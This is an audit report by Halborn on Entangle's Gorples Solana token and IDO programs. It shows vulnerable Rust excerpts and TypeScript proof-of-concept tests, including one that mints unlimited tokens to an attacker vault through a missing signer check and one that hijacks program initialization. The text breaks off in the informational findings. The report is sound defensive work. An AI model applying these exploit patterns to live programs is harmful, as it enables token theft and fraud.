Halborn Logo

icon

Gorples IDO + Core - Entangle Labs


Prepared by:

Halborn Logo

HALBORN

Last Updated 07/06/2024

Date of Engagement by: April 29th, 2024 - May 21st, 2024

Summary

100% of all REPORTED Findings have been addressed

All findings

7

Critical

1

High

0

Medium

2

Low

2

Informational

2


1. Introduction

This security assessment report for Gorples (ex-Borpa) examines the gorples-core and gorples-ido program's resilience against potential Solana's specifics threats, vulnerabilities and attack vectors. This includes a thorough examination of the logic and correct functionality of all the provided instructions, and also their security maturity.

The gorples-core program is responsible for core operations of the $GORPLES coin (ex $BORPA token), such as Mint, Burn and External Burn. The gorples-ido program is responsible for handling operations related to the Initial Dex Offering (IDO), involving administrative instructions such as Add Round, Add Whitelist, Airdrop and Withdraw, and also low-privileged users instructions, such as Buy, Claim and Refund.


Entangle team engaged Halborn to conduct a security assessment of their Solana programs, beginning on April 29th, 2024 and ending on May 19th, 2024. The security assessment was scoped to the Solana Programs provided in Entangle-Protocol/gorples-solana GitHub repository. Commit hashes and further details can be found in the Scope section of this report.

2. Assessment Summary

Halborn was provided 2 weeks for the engagement and assigned two full-time security engineers to review the security of the Solana Programs in scope. Engineers are blockchain and smart contract security experts with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of the assessment is to:

    • Identify potential security issues within the Solana Programs.

    • Ensure that program functionality operates as intended.


In summary, Halborn identified some security concerns, which have been partially addressed by Entangle team. The main ones were the following:

    • Missing signer check - mint_gorples instruction.

    • Insecure initialization (missing signer checks) of both programs in-scope.

    • Multiple input validation enhancements.

3. Test Approach and Methodology

Halborn performed a combination of a manual review of the source code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the program assessment. While manual testing is recommended to uncover flaws in business logic, processes, and implementation; automated testing techniques help enhance coverage of programs and can quickly identify items that do not follow security best practices.

The following phases and associated tools were used throughout the term of the assessment:

    • Research into the architecture, purpose, and use of the platform.

    • Manual program source code review to identify business logic issues.

    • Mapping out possible attack vectors.

    • Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.

    • Scanning dependencies for known vulnerabilities (cargo audit).

    • Local runtime testing (solana-test-framework).

3.1 Out-of-scope

    • External libraries and financial-related attacks.

    • New features/implementations after/with the remediation commit IDs.

    • Changes that occur outside of the scope of PRs/Commits.

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on two sets of Metrics and a Severity Coefficient. This system is inspired by the industry standard Common Vulnerability Scoring System.
The two Metric sets are: Exploitability and Impact. Exploitability captures the ease and technical means by which vulnerabilities can be exploited and Impact describes the consequences of a successful exploit.
The Severity Coefficients is designed to further refine the accuracy of the ranking with two factors: Reversibility and Scope. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.
The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.
The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

Attack Origin (AO):
Captures whether the attack requires compromising a specific account.
Attack Cost (AC):
Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.
Attack Complexity (AX):
Describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.
Metrics:
EXPLOITABILIY METRIC (mem_e)METRIC VALUENUMERICAL VALUE
Attack Origin (AO)Arbitrary (AO:A)
Specific (AO:S)
1
0.2
Attack Cost (AC)Low (AC:L)
Medium (AC:M)
High (AC:H)
1
0.67
0.33
Attack Complexity (AX)Low (AX:L)
Medium (AX:M)
High (AX:H)
1
0.67
0.33
Exploitability EE is calculated using the following formula:

E=meE = \prod m_e

4.2 IMPACT

Confidentiality (C):
Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.
Integrity (I):
Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.
Availability (A):
Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.
Deposit (D):
Measures the impact to the deposits made to the contract by either users or owners.
Yield (Y):
Measures the impact to the yield generated by the contract for either users or owners.
Metrics:
IMPACT METRIC (mIm_I)METRIC VALUENUMERICAL VALUE
Confidentiality (C)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Integrity (I)None (I:N)
Low (I:L)
Medium (I:M)
High (I:H)
Critical (I:C)
0
0.25
0.5
0.75
1
Availability (A)None (A:N)
Low (A:L)
Medium (A:M)
High (A:H)
Critical (A:C)
0
0.25
0.5
0.75
1
Deposit (D)None (D:N)
Low (D:L)
Medium (D:M)
High (D:H)
Critical (D:C)
0
0.25
0.5
0.75
1
Yield (Y)None (Y:N)
Low (Y:L)
Medium (Y:M)
High (Y:H)
Critical (Y:C)
0
0.25
0.5
0.75
1
Impact II is calculated using the following formula:

I=max(mI)+mImax(mI)4I = max(m_I) + \frac{\sum{m_I} - max(m_I)}{4}

4.3 SEVERITY COEFFICIENT

Reversibility (R):
Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.
Scope (S):
Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.
Metrics:
SEVERITY COEFFICIENT (CC)COEFFICIENT VALUENUMERICAL VALUE
Reversibility (rr)None (R:N)
Partial (R:P)
Full (R:F)
1
0.5
0.25
Scope (ss)Changed (S:C)
Unchanged (S:U)
1.25
1
Severity Coefficient CC is obtained by the following product:

C=rsC = rs

The Vulnerability Severity Score SS is obtained by:

S=min(10,EIC10)S = min(10, EIC * 10)

The score is rounded up to 1 decimal places.
SeverityScore Value Range
Critical9 - 10
High7 - 8.9
Medium4.5 - 6.9
Low2 - 4.4
Informational0 - 1.9

5. SCOPE

Files and Repository
(a) Repository: gorples-solana
(b) Assessed Commit ID: 5a7e9b4
(c) Items in scope:
  • gorples-core/src/lib.rs
  • gorples-ido/src/instructions/start_tge.rs
  • gorples-ido/src/instructions/set_interval.rs
↓ Expand ↓
Out-of-Scope:
Remediation Commit ID:
Out-of-Scope: New features/implementations after the remediation commit IDs.

6. Assessment Summary & Findings Overview

Critical

1

High

0

Medium

2

Low

2

Informational

2

Security analysisRisk levelRemediation Date
Any account can mint infinite amount of $GORPLES tokens to any compatible vaultCriticalSolved - 05/20/2024
Program initializers can be front-runMediumSolved - 05/20/2024
Lack of input validations can lead to loss of $SOLMediumRisk Accepted
Multiple unsafe arithmetic operationsLowRisk Accepted
LP tokens can be minted disproportionatelyLowRisk Accepted
Airdrop thresholds are not enforcedInformationalAcknowledged
Unwarranted $GORPLES claimingInformationalAcknowledged

7. Findings & Tech Details

7.1 Any account can mint infinite amount of $GORPLES tokens to any compatible vault

// Critical

Description

The mint_gorples instruction in the gorples_core program allows any account that meets the config.contracts constraint to mint tokens. This is due to the absence of a signer check for the mint_authority account.

Therefore, if the value passed for mint_authority meets the config.contracts condition, no further checks are performed, allowing any account to sign for this gorples_mint instruction.

Moreover, the vault account is constrained to be a token account with the correct mint, but additional checks should be in place to ensure it cannot be replaced by an attacker-controlled account.

The current implementation has a critical security flaw, as it permits any malicious actor to mint an unlimited amount of $GORPLES tokens to any vault address, potentially jeopardizing the entire system.

- gorples-core/src/lib.rs

pub fn mint_gorples(ctx: Context<MintGorples>, amount: u64) -> Result<()> {
    require_gt!(amount, 0, CustomError::ZeroAmount);

    let cpi_accounts = MintTo {
        mint: ctx.accounts.mint.to_account_info(),
        to: ctx.accounts.vault.to_account_info(),
        authority: ctx.accounts.authority.to_account_info(),
    };

    let seed = &[ROOT, &b"AUTHORITY"[..], &[ctx.bumps.authority][..]];
    let seeds = &[&seed[..]];
    let cpi_ctx = CpiContext::new_with_signer(
        ctx.accounts.token_program.to_account_info(),
        cpi_accounts,
        seeds,
    );
    mint_to(cpi_ctx, amount)
}
#[derive(Accounts)]
pub struct MintGorples<'info> {
    /// Mint authority
    /// CHECK: not loaded
    #[account(
        constraint = config.contracts.contains(&mint_authority.key()) @ CustomError::Unauthorized
    )]
    pub mint_authority: UncheckedAccount<'info>,

    /// Gorples core authority
    /// CHECK: not loaded
    #[account(seeds = [ROOT, b"AUTHORITY"], bump)]
    pub authority: UncheckedAccount<'info>,

    /// Gorples config
    #[account(seeds = [ROOT, b"CONFIG"], bump)]
    pub config: Box<Account<'info, Config>>,

    /// Gorples mint
    #[account(
        mut,
        address = config.mint,
        mint::authority = authority,
        mint::decimals = GORPLES_DECIMALS,
        mint::token_program = token_program
    )]
    pub mint: Box<InterfaceAccount<'info, Mint>>,

    /// Target vault
    #[account(mut, token::mint = mint, mint::token_program = token_program)]
    pub vault: Box<InterfaceAccount<'info, TokenAccount>>,

    pub token_program: Program<'info, Token2022>,
}

Proof of Concept

The following test scenario, with the necessary parameters, is a valid instruction with no signer enforcement, meaning that anyone could craft a malicious instruction in order to mint unrestricted amount of $GORPLES.

To reproduce the vulnerability, a call from any account can be performed to the mint_gorples instruction, which is not enforcing signer validations.

As long as the vault informed is a compatible vault (mint = $GORPLES), it will mint unrestricted amount (passed as amount parameter) of $GORPLES tokens to any attacker-controlled vault.

PoC Code

- test/Ido_test.ts

    it("Anyone can call mint instruction", async () => {
    const authority = web3.PublicKey.findProgramAddressSync(
      [ROOT, utf8.encode("AUTHORITY")],
      gorplesCoreProgram.programId
    )[0];

    const attackerVault = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      user,
      gorplesCore.mint,
      user.publicKey,
      undefined,
      undefined,
      undefined,
      TOKEN_2022_PROGRAM_ID
    );

    console.log(`$GORPLES tokens in attacker vault before mint exploit: ${attackerVault.amount}`);

    const mintAuthority = web3.PublicKey.findProgramAddressSync(
      [ROOT, utf8.encode("AUTHORITY")],
      gorplesIdoProgram.programId
    )[0];
    
    await gorplesCoreProgram.methods
    .mintGorples(
      new anchor.BN(50_000_000).mul(GORPLETS)
    )
    .accounts({
      mintAuthority: mintAuthority,
      authority: authority,
      config: gorplesCore.config,
      mint: gorplesCore.mint,
      vault: attackerVault.address,
      tokenProgram: TOKEN_2022_PROGRAM_ID
    })
    .signers([])
    .rpc();

    const attackerVaultAfter = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      user,
      gorplesCore.mint,
      user.publicKey,
      undefined,
      undefined,
      undefined,
      TOKEN_2022_PROGRAM_ID
    );
    console.log(`$GORPLES tokens in attacker vault after mint exploit: ${attackerVaultAfter.amount}`);
  });

Output logs

    ✔ Initialize (15973ms)
$GORPLES tokens in attacker vault before mint exploit: 0
$GORPLES tokens in attacker vault after mint exploit: 50000000000000
    ✔ Anyone can call mint instruction (467ms)

From the output logs it is possible to observe that an extremely high amount of $GORPLES tokens was minted to an attacker-controlled vault.

BVSS
Recommendation

To mitigate this risk, it is recommended to enforce signer verifications in the gorples_mint instruction, so only authorized parties with the required privileges can call the mint instruction. It is also important to enforce that ctx.accounts.vault.to_account_info() is a trusted vault address to receive the minted tokens.


Remediation Plan

SOLVED: The Entangle team solved the issue as recommended, by adding a signer check on the gorples_mint instruction. The commit hash containing the remediation is 1df65f7f6f672651bb488e8c811f1674d2b37fb6.

Remediation Hash

7.2 Program initializers can be front-run

// Medium

Description

The current implementation of the initialize instruction in the gorples-ido and gorples-core programs does not enforce any constraints to ensure that it is signed by a trusted and known address, such as the program's upgrade authority.

This lack of validation could allow an attacker to front-run the initialization process, potentially setting up the programs with accounts under their control.

- gorples-ido/src/instructions/initialize.rs

#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(mut, signer)]
    pub admin: Signer<'info>,

    #[account(init, space = TgeConfig::LEN, payer = admin, seeds = [ROOT, b"CONFIG"], bump)]
    pub tge_config: Box<Account<'info, TgeConfig>>,

// ...

}

pub fn handle_initialize(
    ctx: Context<Initialize>,
    lp_wallet: Pubkey,
    lp_amount: u64,
) -> Result<()> {
    ctx.accounts.tge_config.admin = ctx.accounts.admin.key();
    ctx.accounts.tge_config.lp_wallet = lp_wallet;
    ctx.accounts.tge_config.lp_amount = lp_amount;
    ctx.accounts.tge_config.tge_time = 0;
    // Mint tokens for test
    let bump = &[ctx.bumps.authority][..];
    let seed = &[ROOT, b"AUTHORITY", bump][..];
    let seeds = &[seed][..];
    let accounts = MintGorples {
        mint_authority: ctx.accounts.authority.to_account_info(),
        authority: ctx.accounts.core_authority.to_account_info(),
        config: ctx.accounts.core_config.to_account_info(),
        mint: ctx.accounts.mint.to_account_info(),
        vault: ctx.accounts.vault.to_account_info(),
        token_program: ctx.accounts.token_program.to_account_info(),
    };
    let cpi =
        CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
    mint_gorples(cpi, 100_000_000)
}

Likewise, the current implementation of the initialize instruction in the gorples-core program does not enforce any constraints to ensure that it is also called by a trusted and known address, leading to the same issue as described above.

- gorples-core/src/lib.rs

    pub fn initialize(
        ctx: Context<Initialize>,
        bridge_authority: Pubkey,
        farm_authority: Pubkey,
        tge_authority: Pubkey,
    ) -> Result<()> {
        ctx.accounts.config.admin = ctx.accounts.admin.key();
        ctx.accounts.config.contracts = [bridge_authority, farm_authority, tge_authority];
        ctx.accounts.config.mint = ctx.accounts.mint.key();
        Ok(())
    }

- gorples-core/src/lib.rs

#[derive(Accounts)]
pub struct Initialize<'info> {
    /// Admin wallet
    #[account(signer, mut)]
    pub admin: Signer<'info>,

    /// Gorples token authority
    /// CHECK: not loaded
    #[account(seeds = [ROOT, b"AUTHORITY"], bump)]
    pub authority: UncheckedAccount<'info>,

    /// Gorples mint
    #[account(
        mut,
        mint::authority = authority,
        mint::decimals = GORPLES_DECIMALS,
        mint::token_program = token_program
    )]
    pub mint: Box<InterfaceAccount<'info, Mint>>,

    /// Gorples config
    #[account(init, payer = admin, space = Config::LEN, seeds = [ROOT, b"CONFIG"], bump)]
    pub config: Box<Account<'info, Config>>,

    pub token_program: Program<'info, Token2022>,
    pub system_program: Program<'info, System>,
}

If the initialization instruction is not called by a known and trusted address, the program becomes vulnerable to malicious exploitation. In such a scenario, an attacker can abuse the initialization process by configuring the program using accounts under their control. This unauthorized access to the program's setup can have severe consequences, including:

  • Unintended program behavior: The attacker can manipulate the program's logic, leading to unintended or unpredictable outcomes that can negatively impact the system and its users.

  • Theft of assets: By configuring the program with their own accounts, the attacker can potentially divert or steal assets that are meant to be managed or distributed by the program.

  • Loss of trust: The exploitation of the program can result in a loss of trust among its users and the broader community, which can be detrimental to the program's adoption and long-term success.


Proof of Concept

Both the initialization of the gorples-core and gorples-ido programs can be performed by any non-privileged user.

To reproduce this vulnerability, consider calling the initializer instructions on both gorples-ido and gorples-core program and sign the transaction as a low-privileged (non-admin) user.

The transaction will go through, indicating that anyone can call the programs initializers, and therefore write arbitrary data to critical program's state.

PoC Code

- test/Ido_test.ts

  it("Initialize", async () => {
    gorplesCore = await setupCore(0, BigInt(0), user, mint, provider);

    const tgeConfig = await web3.PublicKey.findProgramAddressSync(
      [ROOT, utf8.encode("CONFIG")],
      gorplesIdoProgram.programId
    )[0];

    const vault = await getOrCreateAssociatedTokenAccount(
      provider.connection,
      admin,
      gorplesCore.mint,
      admin.publicKey,
      undefined,
      undefined,
      undefined,
      TOKEN_2022_PROGRAM_ID
    );

    const authority = web3.PublicKey.findProgramAddressSync(
      [ROOT, utf8.encode("AUTHORITY")],
      gorplesIdoProgram.programId
    )[0];

    await gorplesIdoProgram.methods
    .initialize(user.publicKey, new anchor.BN(50000))
    .accounts({
      admin: user.publicKey,
      tgeConfig: tgeConfig,
      authority: authority,
      coreAuthority: gorplesCore.authority,
      coreConfig: gorplesCore.config,
      mint: gorplesCore.mint,
      vault: vault.address,
      gorplesCore: gorplesCoreProgram.programId,
      tokenProgram: TOKEN_2022_PROGRAM_ID,
      systemProgram: SystemProgram.programId,
    })
    .signers([user])
    .rpc();

    console.log(`Initialized Core and IDO programs as ${user.publicKey} - Low-priv user`);

  });

The initialization process will succeed, demonstrating a scenario where low-privileged users (non-admins) can call the initialize instructions and write insecure data to both program states.

BVSS
Recommendation

To mitigate these risks, it is recommended to ensure that the initialization instruction is called by a trusted and known address, such as the program's upgrade authority, and that proper access controls and validations are in place.


Remediation Plan

SOLVED: The Entangle team solved the issue by allowing initializers to be called only by DEPLOYER. The commit hash containing the remediation is 1df65f7f6f672651bb488e8c811f1674d2b37fb6.

Remediation Hash

7.3 Lack of input validations can lead to loss of $SOL

// Medium

Description

During the initialization of the program, the lp_wallet address can be set without any further checks for the validity of the provided address. This means that the lp_wallet address could be mistakenly initialized to point to an address that is not controlled by the protocol. It is recommended to enforce the use of a trusted multisig address, controlled by the protocol, to ensure the security and integrity of the platform.

- gorples-ido/src/instructions/initialize.rs

pub fn handle_initialize(
    ctx: Context<Initialize>,
    lp_wallet: Pubkey,
    lp_amount: u64,
) -> Result<()> {
    ctx.accounts.tge_config.admin = ctx.accounts.admin.key();
    ctx.accounts.tge_config.lp_wallet = lp_wallet;
    ctx.accounts.tge_config.lp_amount = lp_amount;
    ctx.accounts.tge_config.tge_time = 0;
    // Mint tokens for test
    let bump = &[ctx.bumps.authority][..];
    let seed = &[ROOT, b"AUTHORITY", bump][..];
    let seeds = &[seed][..];
    let accounts = MintGorples {
        mint_authority: ctx.accounts.authority.to_account_info(),
        authority: ctx.accounts.core_authority.to_account_info(),
        config: ctx.accounts.core_config.to_account_info(),
        mint: ctx.accounts.mint.to_account_info(),
        vault: ctx.accounts.vault.to_account_info(),
        token_program: ctx.accounts.token_program.to_account_info(),
    };
    let cpi =
        CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
    mint_gorples(cpi, 100_000_000)
}

When adding a new round through the add_round instruction, the value for sol_deposited is not enforced to be equal to 0. This could lead to rounds being initialized with the sol_deposited counter in the Round account having non-zero values. This is illogical, as no $SOL deposits could have been made to a round that hasn't started yet. It is recommended to initialize a round with sol_deposited set to 0 to ensure accurate and consistent tracking of deposits.

- gorples-ido/src/instructions/add_round.rs

pub fn handle_add_round(ctx: Context<AddRound>, round_id: Vec<u8>, round: Round) -> Result<()> {
    if round_id == b"public" && !round.overflow {
        return Err(CustomError::NotOverflowRound.into());
    }
    require_gt!(round.total_tokens, 0);
    require_eq!(round.total_claimed, 0);
    require_eq!(round.total_bought, 0);
    require_gte!(10000, round.immediately_available);
    **ctx.accounts.round = round;
    Ok(())
}

These issues have a direct impact on the calculations performed in the withdraw instructions, specifically in the to_refund variable, which considers the value of round.sol_deposited for its attribution. The withdraw instruction subsequently sends the value of to_refund in $SOL to the address of the lp_wallet.

This issue could lead to a situation where the admin cannot call the withdraw instruction, because it will send the deposited $SOL, which is entitled to the protocol, to the wrong address attributed to the lp_wallet. Also, it is important to highlight that there is no mechanism, admin controlled, that would allow changing the lp_wallet address, to mitigate this issue.

Proof of Concept

To reproduce this issue, make sure to adjust the utility file rounds.ts accordingly, by manipulating the initializing values, as sol_deposited > 0 on the targeted round.

Call the withdraw instruction as an authorized user. The screenshots below demonstrates the clear difference on the authority's balance after the withdraw instruction is called, and the round was initialized with sol_deposited > 0.

- rounds.ts

  {
    id: "public",
    public: true,
    overflow: true,
    startTime: new anchor.BN(Date.parse("09 May 2024 19:30:00 UTC+3") / 1000),
    duration: new anchor.BN(10 * 60),
    price: new anchor.BN(1),
    totalTokens: new anchor.BN(40_000_000).mul(GORPLETS)
    immediatelyAvailable: new anchor.BN(10000),
    solDeposited: new anchor.BN(10_000_000),
    linearUnlockTime: new anchor.BN(0),
    cliff: new anchor.BN(0),
  },

PoC Code

- test/Ido_test.ts

  it("Withdraw - sol_deposited > 0", async() => {
    /// Check authority balance before purchase
    const gorplesIDOAuthorityBalanceBefore = await provider.connection.getBalance(gorplesIdo.authority);
    console.log(`Gorples IDO authority balance before is: ${gorplesIDOAuthorityBalanceBefore}`);

    /// `publicUser` will be used in this case
    const inputAmount = new anchor.BN(LAMPORTS_PER_SOL * 50); /// oversold state is reached - rounds.ts
    const slot = await provider.connection.getSlot();
    const timestamp = await provider.connection.getBlockTime(slot);

    /// admin calls `set_interval` instruction
    await gorplesIdoProgram.methods
      .setInterval(
        Buffer.from(utf8.encode("public")),
        new anchor.BN(timestamp),
        new anchor.BN(timestamp + 500)
      )
      .accounts({
        admin: admin.publicKey,
        tgeConfig: gorplesIdo.tgeConfig,
        round: publicRound,
      })
      .signers([admin])
      .rpc();

      /// public user purchases 3 times
      for (let i = 0; i < 3; i++) {
        await gorplesIdoProgram.methods
        .buy(Buffer.from(utf8.encode("public")), inputAmount)
        .accounts({
          user: publicUser.publicKey,
          authority: gorplesIdo.authority,
          tgeConfig: gorplesIdo.tgeConfig,
          round: publicRound,
          roundBalance: publicRoundBalance,
          whitelist: null,
          clock: SYSVAR_CLOCK_PUBKEY,
          systemProgram: SystemProgram.programId,
        })
        .signers([publicUser])
        .rpc();
      }

      /// Check authority balance after purchase
      const gorplesIDOAuthorityBalanceAfter = await provider.connection.getBalance(gorplesIdo.authority);
      console.log(`Gorples IDO authority balance after is: ${gorplesIDOAuthorityBalanceAfter}`);

      /// needs to start TGE
      await gorplesIdoProgram.methods
      .startTge()
      .accounts({
        admin: admin.publicKey,
        tgeConfig: gorplesIdo.tgeConfig,
        clock: SYSVAR_CLOCK_PUBKEY,
        systemProgram: SystemProgram.programId,
      })
      .signers([admin])
      .rpc();

      /// admin calls withdraw, as overselling state
      /// is reached, `to_refund` is going to be calculated
      /// and it is expected to withdraw more than warranted 
      /// because of manipulated state when initializing the round 
      /// (sol_deposited > 0)
      await gorplesIdoProgram.methods
      .withdraw()
      .accounts({
        admin: admin.publicKey,
        lpWallet: admin.publicKey,
        tgeConfig: gorplesIdo.tgeConfig,
        round: publicRound,
        authority: gorplesIdo.authority,
        gorplesCoreConfig: gorplesCore.config,
        gorplesCoreAuthority: gorplesCore.authority,
        gorplesMint: gorplesCore.mint,
        gorplesVault: gorplesIdo.vaultAddress,
        tokenProgram: TOKEN_2022_PROGRAM_ID,
        gorplesCore: gorplesCoreProgram.programId,
        associatedTokenProgram: ASSOCIATED_TOKEN_PROGRAM_ID,
        systemProgram: SystemProgram.programId
      })
      .signers([admin])
      .rpc();

    /// Check authority balance after withdraw [admin]
    const gorplesIDOAuthorityBalanceAfterWithdraw = await provider.connection.getBalance(gorplesIdo.authority);
    console.log(`Gorples IDO authority balance AFTER WITHDRAW is: ${gorplesIDOAuthorityBalanceAfterWithdraw}`);
  });

BVSS
Recommendation

To mitigate this issue, the following measures are recommended:

  • Enforce the use of a trusted multisig address for lp_wallet: To ensure the security and integrity of the platform, it is recommended to enforce the use of a trusted multisig address, controlled by the protocol, for the lp_wallet during the initialization of the program. This can be achieved by adding a check to verify the provided lp_wallet address against a pre-determined multisig address.


  • Initialize a round with sol_deposited set to 0: To ensure accurate and consistent tracking of $SOL deposits, it is recommended to initialize a round with the sol_deposited counter in the Round account set to 0. This can be achieved by explicitly setting the value of sol_deposited to 0 during the creation of a new Round.


Remediation Plan

RISK ACCEPTED: The Entangle team accepted the risk related to this finding.

7.4 Multiple unsafe arithmetic operations

// Low

Description

In the gorples-ido and gorples-core programs, the Cargo.toml file has overflow-checks = true enabled, which is a commendable practice. However, it is also recommended to incorporate safe arithmetic operations throughout the program code to further enhance security and reliability.

The provided code excerpts reveal several occurrences of unsafe arithmetic operations.

- gorples-ido/src/instructions/buy.rs

pub fn handle_buy(ctx: Context<Buy>, input_amount: u64) -> Result<()> {
    require_gt!(input_amount, 0, CustomError::ZeroInputAmount);
    require_gt!(ctx.accounts.round.price, 0, CustomError::AirdropOnlyRound);
    let token_amount = 10000 * input_amount / ctx.accounts.round.price;
    require_gt!(token_amount, 0, CustomError::ZeroOutputAmount);
    let cpi_context = CpiContext::new(
        ctx.accounts.system_program.to_account_info(),
        system_program::Transfer {
            from: ctx.accounts.user.to_account_info(),
            to: ctx.accounts.authority.to_account_info(),
        },
    );

- gorples-ido/src/instructions/withdraw.rs

pub fn handle_withdraw(ctx: Context<Withdraw>) -> Result<()> {
    // Transfer sol
    // to_refund = sol * (1 - total/bought)
    let reserved = 1000000;
    let to_refund = if ctx.accounts.round.total_bought > ctx.accounts.round.total_tokens {
        let sol_deposited = u128::from(ctx.accounts.round.sol_deposited);
        sol_deposited
            - sol_deposited * u128::from(ctx.accounts.round.total_tokens)
                / u128::from(ctx.accounts.round.total_bought)
    } else {
        0
    };

- gorples-ido/src/instructions/claim.rs

pub fn handle_claim(ctx: Context<Claim>) -> Result<()> {
    let total_tokens = if ctx.accounts.round.overflow
        && ctx.accounts.round.total_bought > ctx.accounts.round.total_tokens
    {
        u128::from(ctx.accounts.round_balance.total) * u128::from(ctx.accounts.round.total_tokens)
            / u128::from(ctx.accounts.round.total_bought)
    } else {
        u128::from(ctx.accounts.round_balance.total)
    };
    let immediately_available: u128 =
        total_tokens * u128::from(ctx.accounts.round.immediately_available) / 10000;
    let mut total_available = immediately_available;
    let to_vest_total = total_tokens - immediately_available;
    let unlock_time = ctx.accounts.round.linear_unlock_time;
    let delta = ctx.accounts.clock.unix_timestamp as u64 - ctx.accounts.tge_config.tge_time;
    if unlock_time != 0 && to_vest_total != 0 && delta > ctx.accounts.round.cliff {
        let time_delta = u64::min(delta - ctx.accounts.round.cliff, unlock_time);
        total_available += to_vest_total * u128::from(time_delta) / u128::from(unlock_time);
    }
    require_gt!(
        total_available,
        u128::from(ctx.accounts.round_balance.claimed),
        CustomError::ZeroOutputAmount
    );
    let to_claim: u64 = (total_available - u128::from(ctx.accounts.round_balance.claimed))
        .try_into()
        .map_err(|_| CustomError::U64CastOverflow)?;

- gorples-ido/src/instructions/refund.rs

pub fn handle_refund(ctx: Context<Refund>) -> Result<()> {
    if ctx.accounts.round.total_bought <= ctx.accounts.round.total_tokens {
        return Ok(());
    }
    if ctx.accounts.round_balance.refunded {
        return Err(CustomError::AlreadyRefunded.into());
    }
    // solDeposit * (1 - total/bought)
    let sol_deposited = u128::from(ctx.accounts.round_balance.sol_deposited);
    let to_refund = sol_deposited
        - sol_deposited * u128::from(ctx.accounts.round.total_tokens)
            / u128::from(ctx.accounts.round.total_bought);
    require_gt!(to_refund, 0, CustomError::ZeroOutputAmount);
    ctx.accounts.round_balance.refunded = true;
    let bump = &[ctx.bumps.authority][..];
    let seed = &[ROOT, b"AUTHORITY", bump][..];
    let seeds = &[seed][..];
    let cpi_context = CpiContext::new_with_signer(
        ctx.accounts.system_program.to_account_info(),
        system_program::Transfer {
            from: ctx.accounts.authority.to_account_info(),
            to: ctx.accounts.user.to_account_info(),
        },
        seeds,
    );
BVSS
Recommendation

Utilize Rust's checked_* arithmetic functions on each integer type to strategically detect overflows and underflows within the program. These functions will return a None value if an overflow or underflow occurs, enabling the program to address the issue gracefully and prevent potential security vulnerabilities.


Remediation Plan

RISK ACCEPTED: The Entangle team accepted the risk related to this finding.

7.5 LP tokens can be minted disproportionately

// Low

Description

In the initialize instruction of the gorples-ido program, there is no enforcement of a reasonable value for the lp_amount parameter. This non-validated lp_amount is then utilized in the withdraw instruction to execute a CPI (Cross-Program Invocation) call to the mint_gorples function, resulting in the minting of lp_amount tokens to the gorples_vault.

Specifically, there is no verification in place for the value provided in the lp_amountparameter, as follows:

- gorples-ido/src/instructions/initialize.rs

pub fn handle_initialize(
    ctx: Context<Initialize>,
    lp_wallet: Pubkey,
    lp_amount: u64,
) -> Result<()> {
    ctx.accounts.tge_config.admin = ctx.accounts.admin.key();
    ctx.accounts.tge_config.lp_wallet = lp_wallet;
    ctx.accounts.tge_config.lp_amount = lp_amount;
    ctx.accounts.tge_config.tge_time = 0;
    // Mint tokens for test
    let bump = &[ctx.bumps.authority][..];
    let seed = &[ROOT, b"AUTHORITY", bump][..];
    let seeds = &[seed][..];
    let accounts = MintGorples {
        mint_authority: ctx.accounts.authority.to_account_info(),
        authority: ctx.accounts.core_authority.to_account_info(),
        config: ctx.accounts.core_config.to_account_info(),
        mint: ctx.accounts.mint.to_account_info(),
        vault: ctx.accounts.vault.to_account_info(),
        token_program: ctx.accounts.token_program.to_account_info(),
    };
    let cpi =
        CpiContext::new_with_signer(ctx.accounts.gorples_core.to_account_info(), accounts, seeds);
    mint_gorples(cpi, 100_000_000)
}

Subsequently, through the withdraw instruction, the lp_amount tokens are transferred to the gorples_vault, which is the associated token account (ATA) for the lp_wallet and gorples_mint.

The absence of a threshold for the lp_amount parameter can lead to the unwarranted or unfair minting of $GORPLES tokens, potentially damaging the fair distribution of LP tokens.

BVSS
Recommendation

Implement a reasonable threshold value for lp_amount and enforce it by using a require statement during the checks of the initialize function, for example:

    require_gte!(
        <reasonable_lp_amount>,
        lp_amount,
        CustomError::InvalidLpAmount
    );

This will enforce the usage of a valid lp_amount value when initializing the gorples-ido program.


Remediation Plan

RISK ACCEPTED: The Entangle team accepted the risk related to this finding.

7.6 Airdrop thresholds are not enforced

// Informational

Description

The current implementation of the handle_airdrop instruction in the gorples-ido program does not enforce any airdrop thresholds or eligibility criteria, allowing privileged users (admins) to establish any value for the airdrop, which will be later claimable by the user.

- gorples-ido/src/instructions/airdrop.rs

pub fn handle_airdrop(ctx: Context<Airdrop>, amount: u64) -> Result<()> {
    require_gt!(amount, 0, CustomError::ZeroInputAmount);
    ctx.accounts.round.total_bought += amount;
    require_gte!(
        ctx.accounts.round.total_tokens,
        ctx.accounts.round.total_bought,
        CustomError::MaxRoundAmountReached
    );
    ctx.accounts.round_balance.total += amount;
    Ok(())
}

